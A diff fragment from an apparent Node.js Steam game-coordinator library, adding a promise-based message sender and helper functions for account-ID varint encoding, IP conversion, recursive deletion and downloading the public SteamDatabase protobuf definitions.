+ * @param {Number|undefined} responseHeader The response header to our request
54
+ * @param {Object|undefined} responseProtobuf Will automatically append ".decode()": Function which will be used to decode the protobuf. If "undefined" will not decode response and resolve with the raw buffer of the response
55
+ * @param {Number} timeout Max number of milliseconds before we give up on waiting for our response
56
+ * @returns {Promise} Promise which resolves in the object of our response, or undefined if "responseHeader" is undefined or rejects in a timeout error
57
+ */
58
+ sendMessage(appid, header, proto, protobuf, settings, responseHeader, responseProtobuf, timeout = 30000) {
59
+ return new Promise((resolve, reject) => {
60
+ if (!appid) {
61
+ let encoded = settings;
62
+ if (protobuf) {
63
+ let message = protobuf.create(settings);
64
+ encoded = protobuf.encode(message);
65
+ }
66
+
67
+ this.steamUser._send({
68
+ msg: header,
69
+ proto: proto
70
+ }, protobuf ? encoded.finish() : encoded);
71
+
72
+ if (!responseHeader) {
73
+ resolve();
74
+ return;
75
+ }
76
+
77
+ let sendTimeout = setTimeout(() => {
78
+ if (this.steamUser._handlerManager._handlers[responseHeader] && this.steamUser._handlerManager._handlers[responseHeader].length > 0) {
79
+ this.steamUser._handlerManager._handlers[responseHeader].pop(); // We added our message last (I assume) so remove the last one
80
+
81
+ if (this.steamUser._handlerManager._handlers[responseHeader].length <= 0) {
82
+ delete this.steamUser._handlerManager._handlers[responseHeader];
83
+ }
84
+ }
85
+
86
+ reject(new Error("Failed to send message: Timeout"));
87
+ }, timeout);
88
+
89
+ this.steamUser._handlerManager.add(responseHeader, (body) => {
90
+ if (this.steamUser._handlerManager.hasHandler(responseHeader)) {
91
+ if (this.steamUser._handlerManager._handlers[responseHeader] && this.steamUser._handlerManager._handlers[responseHeader].length > 0) {
92
+ this.steamUser._handlerManager._handlers[responseHeader].pop(); // We added our message last (I assume) so remove the last one
93
+
94
+ if (this.steamUser._handlerManager._handlers[responseHeader].length <= 0) {
95
+ delete this.steamUser._handlerManager._handlers[responseHeader];
96
+ }
97
+ }
98
+ }
99
+
100
+ clearTimeout(sendTimeout);
101
+
102
+ if (!responseProtobuf) {
103
+ if (body instanceof Buffer || body instanceof ByteBuffer) {
104
+ resolve(body);
105
+ return;
106
+ }
107
+
108
+ resolve(body);
109
+ return;
110
+ }
111
+
112
+ if (body instanceof Buffer || body instanceof ByteBuffer) {
113
+ body = responseProtobuf.decode(body.toBuffer());
114
+ body = responseProtobuf.toObject(body, { defaults: true });
115
+ }
116
+
117
+ resolve(body);
118
+ });
119
+ return;
120
+ }
121
+
122
+ let encoded = settings;
123
+ if (protobuf) {
124
+ let message = protobuf.create(settings);
125
+ encoded = protobuf.encode(message);
126
+ }
127
+ this.steamUser.sendToGC(appid, header, proto, protobuf ? encoded.finish() : encoded);
128
+
129
+ if (!responseHeader) {
130
+ resolve();
131
+ return;
132
+ }
133
+
134
+ let sendTimeout = setTimeout(() => {
135
+ this.removeListener("receivedFromGC", sendMessageResponse);
136
+ reject(new Error("Failed to send message: Timeout"));
137
+ }, timeout);
138
+
139
+ this.on("receivedFromGC", sendMessageResponse);
140
+ function sendMessageResponse(msgType, payload) {
141
+ if (msgType === responseHeader) {
142
+ clearTimeout(sendTimeout);
143
+ this.removeListener("receivedFromGC", sendMessageResponse);
144
+
145
+ if (!responseProtobuf) {
146
+ resolve(payload);
147
+ return;
148
+ }
149
+
150
+ let msg = responseProtobuf.decode(payload);
151
+ msg = responseProtobuf.toObject(msg, { defaults: true });
152
+ resolve(msg);
153
+ }
154
+ }
155
+ });
156
+ }
157
+ }
@@ -0,0 +1,171 @@
1
+ const SteamUser = require("steam-user");
2
+ const SteamID = require("steamid");
3
+ const unzipper = require("unzipper");
4
+ const path = require("path");
5
+ const fs = require("fs");
6
+ const request = require("request");
7
+ const Coordinator = require("./Coordinator.js");
8
+
9
+ module.exports = class Helper {
10
+ static decodeUids(input) {
11
+ let bytes = [];
12
+
13
+ let byte = input.readUint8();
14
+ while (byte !== 0x00) {
15
+ bytes.push(byte);
16
+ byte = input.readUint8();
17
+ }
18
+ bytes.push(0);
19
+
20
+ let b = Buffer.from(bytes);
21
+ let results = [];
22
+ let position = 0;
23
+
24
+ while (position < b.length) {
25
+ let lookahead = 0;
26
+ let token = b.readInt8(position);
27
+ let backup = token;
28
+ let v5 = 0;
29
+ let v7 = 0;
30
+ let v9 = 0;
31
+
32
+ do {
33
+ backup = token;
34
+ lookahead += 1;
35
+ v9 = (token & 0x7F) << v7;
36
+ v7 += 7;
37
+ v5 |= v9;
38
+
39
+ if (token === 0 || backup >= 0) {
40
+ break;
41
+ }
42
+
43
+ token = b.readInt8(position + lookahead);
44
+ } while (v7 < 35);
45
+
46
+ if (backup < 0) {
47
+ break;
48
+ }
49
+
50
+ position += lookahead;
51
+
52
+ if (v5 === 0) {
53
+ continue;
54
+ }
55
+
56
+ results.push(SteamID.fromIndividualAccountID(v5));
57
+ }
58
+
59
+ return results;
60
+ }
61
+
62
+ static encodeUids(steamids) {
63
+ let outputBuffer = [];
64
+
65
+ for (let id of steamids.map(s => s.accountid)) {
66
+ while (id > 0x7F) {
67
+ outputBuffer.push((id | 0x80) & 0xFF);
68
+ id >>= 7;
69
+ }
70
+
71
+ outputBuffer.push(id);
72
+ }
73
+
74
+ outputBuffer.push(0x00);
75
+
76
+ return Buffer.from(outputBuffer);
77
+ }
78
+
79
+ static IPStrToInt(ipString) {
80
+ let buf = Buffer.alloc(4);
81
+ let octets = ipString.split(".");
82
+
83
+ for (let i = 0; i < 4; i++) {
84
+ buf[i] = parseInt(octets[i], 10);
85
+ }
86
+
87
+ return buf.readUInt32BE(0);
88
+ }
89
+
90
+ static deleteRecursive(dir) {
91
+ return new Promise((resolve, reject) => {
92
+ fs.readdir(dir, async (err, files) => {
93
+ if (err) {
94
+ reject(err);
95
+ return;
96
+ }
97
+
98
+ for (let file of files) {
99
+ let filePath = path.join(dir, file);
100
+ let stat = fs.statSync(filePath);
101
+
102
+ if (stat.isDirectory()) {
103
+ await this.deleteRecursive(filePath);
104
+ } else {
105
+ await new Promise((res, rej) => {
106
+ fs.unlink(filePath, (err) => {
107
+ if (err) {
108
+ rej(err);
109
+ return;
110
+ }
111
+
112
+ res();
113
+ });
114
+ });
115
+ }
116
+ }
117
+
118
+ fs.rmdir(dir, (err) => {
119
+ if (err) {
120
+ reject(err);
121
+ return;
122
+ }
123
+
124
+ resolve();
125
+ });
126
+ });
127
+ });
128
+ }
129
+
130
+ static downloadProtobufs(dir) {
131
+ return new Promise(async (resolve, reject) => {
132
+ let newProDir = path.join(dir, "Protobufs-master");
133
+ if (fs.existsSync(newProDir)) {
134
+ await this.deleteRecursive(newProDir);
135
+ }
136
+
137
+ // Yes I know the ones I download here are technically not the same as the ones in the submodule
138
+ // but that doesn't really matter, I doubt Valve will do any major changes with the protobufs I use here anyways
139
+ let r = request("https://github.com/SteamDatabase/Protobufs/archive/master.zip");
140
+ let pipe = r.pipe(unzipper.Extract({ path: dir }));
141
+ pipe.on("close", async () => {
142
+ let proDir = path.join(dir, "protobufs");
143
+ if (fs.existsSync(proDir)) {
144
+ await this.deleteRecursive(proDir);
145
+ }
146
+
147
+ fs.rename(newProDir, proDir, (err) => {
148
+ if (err) {
149
+ reject(err);
150
+ return;
151
+ }
152
+
153
+ resolve();
154
+ });
155
+ });
156
+ pipe.on("error", reject);
157
+ });
158
+ }
159
+
160
+ static verifyProtobufs() {
161
+ let user = new SteamUser();
162
+ let coord = new Coordinator(user);
163
+
164
+ try {
165
+ return typeof coord.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello === "number";
166
+ } catch (e) {
167
+ return false;
168
+ }
169
+ }
170
+
171
+ }